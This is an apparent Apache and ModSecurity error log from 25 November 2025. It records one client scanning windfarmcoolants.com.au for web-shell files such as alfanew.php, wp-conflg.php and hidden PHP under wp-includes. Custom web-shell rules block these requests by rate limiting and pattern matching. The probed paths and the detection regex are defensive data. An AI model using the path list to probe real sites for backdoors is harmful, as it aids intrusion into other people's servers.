[Tue Nov 25 17:18:34.004608 2025] [:error] [pid 28842:tid 29023] [client 172.210.212.26:7624] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-22.php"] [unique_id "aSV0atNmoaPf6T4-6C1jBwAAA1U"]
[Tue Nov 25 17:18:36.960924 2025] [:error] [pid 14077:tid 14113] [client 172.210.212.26:7483] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-22.php"] [unique_id "aSV0bBG9n7UHEkwDTyhS3wAAAEM"]
[Tue Nov 25 17:18:42.197569 2025] [:error] [pid 28739:tid 28765] [client 172.210.212.26:7906] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aSV0chxGpKmlkG4FexRa7QAAAgM"]
[Tue Nov 25 17:18:57.706054 2025] [:error] [pid 14077:tid 14132] [client 172.210.212.26:3529] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/system_log.php"] [unique_id "aSV0gRG9n7UHEkwDTyhTfQAAAFY"]
[Tue Nov 25 17:18:59.087732 2025] [:error] [pid 28740:tid 28805] [client 172.210.212.26:3593] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Tue Nov 25 17:18:59.306828 2025] [:error] [pid 28740:tid 28794] [client 172.210.212.26:3593] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Tue Nov 25 17:18:59.520092 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:3593] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Tue Nov 25 17:18:59.734688 2025] [:error] [pid 28740:tid 28810] [client 172.210.212.26:3593] File does not exist: /usr/local/apache/htdocs/suspended-page/ee.php
[Tue Nov 25 17:18:59.944757 2025] [:error] [pid 28740:tid 28797] [client 172.210.212.26:3593] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aSV0g1ppQCoYxWW6V0VU5QAAAkY"]
[Tue Nov 25 17:19:00.922450 2025] [:error] [pid 2987:tid 3012] [client 172.210.212.26:5356] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aSV0hM-djEt-pTzPxnx5BQAAAVc"]
[Tue Nov 25 17:19:04.987521 2025] [:error] [pid 28739:tid 28782] [client 172.210.212.26:4423] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aSV0iBxGpKmlkG4FexRbCwAAAhQ"]
[Tue Nov 25 17:19:10.776152 2025] [:error] [pid 14168:tid 14187] [client 172.210.212.26:3509] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aSV0jvR-ZDU0QEgAIItG4gAAANA"]
[Tue Nov 25 17:19:12.232052 2025] [:error] [pid 28740:tid 28805] [client 172.210.212.26:4516] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aSV0kFppQCoYxWW6V0VU8gAAAk4"]
[Tue Nov 25 17:19:19.844407 2025] [:error] [pid 28842:tid 29020] [client 172.210.212.26:10946] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aSV0l9NmoaPf6T4-6C1jQwAAA1I"]
[Tue Nov 25 17:19:20.773884 2025] [:error] [pid 14168:tid 14193] [client 172.210.212.26:7052] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aSV0mPR-ZDU0QEgAIItG-wAAANY"]
[Tue Nov 25 17:19:28.409921 2025] [:error] [pid 14076:tid 14098] [client 172.210.212.26:2655] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aSV0oHsB4Gz6Qw-pvBvyiAAAABE"]
[Tue Nov 25 17:19:33.250187 2025] [:error] [pid 14076:tid 14089] [client 172.210.212.26:2664] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aSV0pXsB4Gz6Qw-pvBvykgAAAAg"]
[Tue Nov 25 17:19:37.066579 2025] [:error] [pid 14076:tid 14090] [client 172.210.212.26:2616] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aSV0qXsB4Gz6Qw-pvBvylQAAAAk"]
[Tue Nov 25 17:19:41.050785 2025] [:error] [pid 28740:tid 28813] [client 172.210.212.26:3330] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aSV0rVppQCoYxWW6V0VVDQAAAlY"]
[Tue Nov 25 17:19:48.020695 2025] [:error] [pid 28836:tid 28965] [client 172.210.212.26:7834] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "aSV0tJwNRsoxcLQGkTegZAAAAso"]
[Tue Nov 25 17:19:53.549719 2025] [:error] [pid 14076:tid 14088] [client 172.210.212.26:8258] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "aSV0uXsB4Gz6Qw-pvBvyogAAAAc"]
[Tue Nov 25 17:19:57.603066 2025] [:error] [pid 28740:tid 28808] [client 172.210.212.26:3380] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSV0vVppQCoYxWW6V0VVIQAAAlE"]
[Tue Nov 25 17:20:04.538767 2025] [:error] [pid 28836:tid 28963] [client 172.210.212.26:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/02.php
[Tue Nov 25 17:20:04.750626 2025] [:error] [pid 28836:tid 28961] [client 172.210.212.26:10138] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aSV0xJwNRsoxcLQGkTegbAAAAsY"]
[Tue Nov 25 17:20:06.213210 2025] [:error] [pid 28740:tid 28795] [client 172.210.212.26:6755] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aSV0xlppQCoYxWW6V0VVMQAAAkQ"]
[Tue Nov 25 17:20:07.005310 2025] [:error] [pid 28836:tid 28967] [client 172.210.212.26:8303] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aSV0x5wNRsoxcLQGkTegbgAAAsw"]
[Tue Nov 25 17:20:07.991744 2025] [:error] [pid 28836:tid 28958] [client 172.210.212.26:10123] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aSV0x5wNRsoxcLQGkTegbwAAAsM"]
[Tue Nov 25 17:20:08.840883 2025] [:error] [pid 14077:tid 14115] [client 172.210.212.26:1880] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "aSV0yBG9n7UHEkwDTyhTzQAAAEU"]
[Tue Nov 25 17:20:09.787210 2025] [:error] [pid 14077:tid 14122] [client 172.210.212.26:6910] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "aSV0yRG9n7UHEkwDTyhT0QAAAEw"]
[Tue Nov 25 17:20:11.303849 2025] [:error] [pid 28739:tid 28769] [client 172.210.212.26:11157] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "aSV0yxxGpKmlkG4FexRbSwAAAgc"]
[Tue Nov 25 17:20:27.395260 2025] [:error] [pid 14168:tid 14191] [client 172.210.212.26:8283] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "aSV02_R-ZDU0QEgAIItHRwAAANQ"]
[Tue Nov 25 17:20:29.117756 2025] [:error] [pid 28739:tid 28775] [client 172.210.212.26:7123] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "aSV03RxGpKmlkG4FexRbUgAAAg0"]
[Tue Nov 25 17:20:30.891868 2025] [:error] [pid 28740:tid 28809] [client 172.210.212.26:2520] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "aSV03lppQCoYxWW6V0VVQQAAAlI"]
[Tue Nov 25 17:20:32.506847 2025] [:error] [pid 14078:tid 14150] [client 172.210.212.26:6918] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "aSV04NVXYbb0ii_rVoIc0AAAAI0"]
[Tue Nov 25 17:20:34.335036 2025] [:error] [pid 14076:tid 14085] [client 172.210.212.26:7217] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aSV04nsB4Gz6Qw-pvBvyzgAAAAQ"]
[Tue Nov 25 17:20:37.483656 2025] [:error] [pid 14168:tid 14178] [client 172.210.212.26:2753] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aSV05fR-ZDU0QEgAIItHWwAAAMc"]
[Tue Nov 25 17:20:39.242594 2025] [:error] [pid 14078:tid 14139] [client 172.210.212.26:7186] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aSV059VXYbb0ii_rVoIc1gAAAII"]
[Tue Nov 25 17:21:06.054625 2025] [:error] [pid 14077:tid 14116] [client 172.210.212.26:7614] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Nov 25 17:21:06.268011 2025] [:error] [pid 14077:tid 14125] [client 172.210.212.26:7614] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Nov 25 17:21:06.469557 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:7614] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSV1AhG9n7UHEkwDTyhUFAAAAFM"]
[Tue Nov 25 17:21:08.222788 2025] [:error] [pid 28842:tid 29022] [client 172.210.212.26:4158] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSV1BNNmoaPf6T4-6C1j2QAAA1Q"]
[Tue Nov 25 17:21:09.641339 2025] [:error] [pid 28836:tid 29006] [client 172.210.212.26:1242] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Tue Nov 25 17:21:09.855129 2025] [:error] [pid 28836:tid 28956] [client 172.210.212.26:1242] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Tue Nov 25 17:21:10.068210 2025] [:error] [pid 28836:tid 28960] [client 172.210.212.26:1242] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSV1BpwNRsoxcLQGkTegoAAAAsU"]
[Tue Nov 25 17:21:12.790038 2025] [:error] [pid 28842:tid 29002] [client 172.210.212.26:6059] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSV1CNNmoaPf6T4-6C1j3gAAA0w"]
[Tue Nov 25 17:21:13.653285 2025] [:error] [pid 28739:tid 28778] [client 172.210.212.26:9562] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSV1CRxGpKmlkG4FexRbawAAAhA"]
[Tue Nov 25 17:21:15.301725 2025] [:error] [pid 28836:tid 28957] [client 172.210.212.26:5836] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSV1C5wNRsoxcLQGkTegpAAAAsI"]
[Tue Nov 25 17:21:18.512869 2025] [:error] [pid 14078:tid 14151] [client 172.210.212.26:2063] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfanew.php"] [unique_id "aSV1DtVXYbb0ii_rVoIc7gAAAI4"]
[Tue Nov 25 17:21:20.623015 2025] [:error] [pid 14078:tid 14139] [client 172.210.212.26:1779] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfanew.php"] [unique_id "aSV1ENVXYbb0ii_rVoIc8QAAAII"]
[Tue Nov 25 17:21:23.034156 2025] [:error] [pid 28739:tid 28770] [client 172.210.212.26:10236] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfanew.php"] [unique_id "aSV1ExxGpKmlkG4FexRbcAAAAgg"]
[Tue Nov 25 17:21:39.142715 2025] [:error] [pid 28609:tid 28637] [client 172.210.212.26:6385] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aSV1IyGGdT-nZJVs3x2kaAAAAZM"]
[Tue Nov 25 17:21:40.836461 2025] [:error] [pid 28842:tid 29004] [client 172.210.212.26:6395] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aSV1JNNmoaPf6T4-6C1j-AAAA04"]
[Tue Nov 25 17:21:42.012685 2025] [:error] [pid 28842:tid 28990] [client 172.210.212.26:3017] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aSV1JtNmoaPf6T4-6C1j_AAAA0A"]
[Tue Nov 25 17:21:43.979708 2025] [:error] [pid 28740:tid 28796] [client 172.210.212.26:7232] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aSV1J1ppQCoYxWW6V0VVewAAAkU"]
[Tue Nov 25 17:21:45.135450 2025] [:error] [pid 28609:tid 28626] [client 172.210.212.26:2174] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSV1KSGGdT-nZJVs3x2kbQAAAYg"]
[Tue Nov 25 17:21:50.373415 2025] [:error] [pid 28836:tid 28965] [client 172.210.212.26:6500] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSV1LpwNRsoxcLQGkTeguwAAAso"]
[Tue Nov 25 17:21:52.722791 2025] [:error] [pid 14077:tid 14115] [client 172.210.212.26:2119] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSV1MBG9n7UHEkwDTyhUVQAAAEU"]
[Tue Nov 25 17:21:53.810969 2025] [:error] [pid 28609:tid 28626] [client 172.210.212.26:3320] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSV1MSGGdT-nZJVs3x2kdAAAAYg"]
[Tue Nov 25 17:21:55.115850 2025] [:error] [pid 14077:tid 14124] [client 172.210.212.26:8287] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "aSV1MxG9n7UHEkwDTyhUXQAAAE4"]
[Tue Nov 25 17:21:57.105270 2025] [:error] [pid 28842:tid 28993] [client 172.210.212.26:8374] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "aSV1NdNmoaPf6T4-6C1kCAAAA0M"]
[Tue Nov 25 17:22:05.189374 2025] [:error] [pid 14078:tid 14151] [client 172.210.212.26:3299] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "aSV1PdVXYbb0ii_rVoIdFAAAAI4"]
